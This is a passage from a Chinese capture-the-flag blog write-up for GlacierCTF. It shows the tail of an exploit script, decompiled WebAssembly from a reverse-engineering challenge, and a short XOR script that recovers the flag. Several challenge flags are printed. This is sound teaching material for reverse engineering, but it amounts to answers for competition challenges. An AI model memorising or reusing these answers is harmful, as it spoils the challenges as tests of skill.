    56. except:
    57. p.close()
    58. #glacierctf{Now_1Mag1n3_L4t3st_L1bc?!}

    rev

    What's up

    题目给的一个wasm的文件,前几天作一个没作出来的题,下载了反编译程序。直接反编译得到怪异的代码

    1. export memory memory(initial: 1, max: 0);
    2. table T_a:funcref(min: 0, max: 0);
    3. data d_4242424242424242424242424242(offset: 16) = "4242424242424242424242424242424242424242424242424242\00";
    4. data d_b(offset: 72) = "\10\00\00\00";
    5. data d_SQWUJ_PFsesFUOOGIJ(offset: 80) = "S\QWU]J_PF[s\18{esFUO%OG^IJ}\00";
    6. data d_d(offset: 108) = "P\00\00\00"; //80
    7. data d_glacierctfTHIS_IS_A_FUN_FLAG(offset: 112) = "glacierctf{THIS_IS_A_FUN_FLAG}\00";
    8. data d_f(offset: 144) = "p\00\00\00"; //112
    9. data d_g(offset: 160) = "glacierctf{THIS_IS_A_FUN_FLAG2}\00";
    10. data d_h(offset: 192) = "\a0\00\00\00"; //160
    11. data d_i(offset: 208) = "%s\0a\00";
    12. import function env_printf(a:int, b:int):int;
    13. import function env_strlen(a:int):int;
    14. export function encrypt(a:int, b:int, c:int) {
    15. var d:int;
    16. 0[1]:int = (d = 0[1]:int - 32);
    17. d[7]:int = a;
    18. d[6]:int = b;
    19. d[5]:int = c;
    20. if (d[7]:int != -889275714) goto B_a;
    21. if (env_strlen(d[6]:int) != env_strlen(d_d[0]:int)) goto B_a;
    22. d[4]:int = 0;
    23. loop L_b {
    24. if (d[4]:int >= env_strlen(d[6]:int)) goto B_a;
    25. d[15]:byte = (((c = d[4]:int) << 1 & 62) ^ (d[6]:int + c)[0]:byte) ^ (d_b[0]:int + c)[0]:ubyte;
    26. if (d[15]:byte != 13) goto B_c;
    27. d[15]:byte = d[15]:ubyte + 37; //==13,+37
    28. label B_c:
    29. if (d[15]:byte) goto B_d;
    30. d[15]:byte = d[15]:ubyte + 50; //==0,+50
    31. label B_d:
    32. (d[5]:int + (c = d[4]:int))[0]:byte = d[15]:ubyte;
    33. d[4]:int = c + 1; // for i in range(len(b)):
    34. continue L_b; // d15[i] = ((i<<1)&62)^b[i]^db[i] //db '4242....'
    35. } // d15[i] = 50 if 13,0
    36. label B_a:
    37. 0[1]:int = d + 32;
    38. }
    39. export function main():int {
    40. var a:int;
    41. 0[1]:int = (a = 0[1]:int - 48);
    42. (a + 40)[0]:short = 0;
    43. (a + 32)[0]:long = 0L;
    44. a[3]:long = 0L;
    45. a[2]:long = 0L;
    46. encrypt(-889275714, d_d[0]:int, a + 16);
    47. a[0]:int = a + 16;
    48. env_printf(208, a); //printf("%s\n", a) 208是数据区里的偏移
    49. 0[1]:int = a + 48;
    50. return 0;
    51. }

    然后一点点研究,慢慢理解代码的含义。大概就是3个值异或,于是得到flag

    1. b = b"S\\QWU]J_PF[s\x18{esFUO%OG^IJ}\x00"
    2. c = b"4242424242424242424242424242424242424242424242424242\x00"
    3. m = [b[i]^c[i]^((i<<1)&62) for i in range(len(b))]
    4. print(m)
    5. #b'glacierctf{W4SM_RE_1S_FUN}\x00'

    Sandboxer

    没看明白,也没有远端了,算了。

  • 相关阅读:
    计算机竞赛 深度学习交通车辆流量分析 - 目标检测与跟踪 - python opencv
    【Spring Cloud】教你十分钟学会Gateway~
    this的绑定指向详细解答
    TCP和UDP的由浅到深的详细讲解
    Go学习笔记
    WebRTC系列-网络传输之本地scoket端口
    YOLO系列改进:YOLOv5改进之PPSPPF
    《确保安全:PostgreSQL安全配置与最佳实践》
    计算机毕业设计springboot+vue+elementUI企业制度管理系统
    C++new和delete运算符介绍
  • 原文地址:https://blog.csdn.net/weixin_52640415/article/details/128061362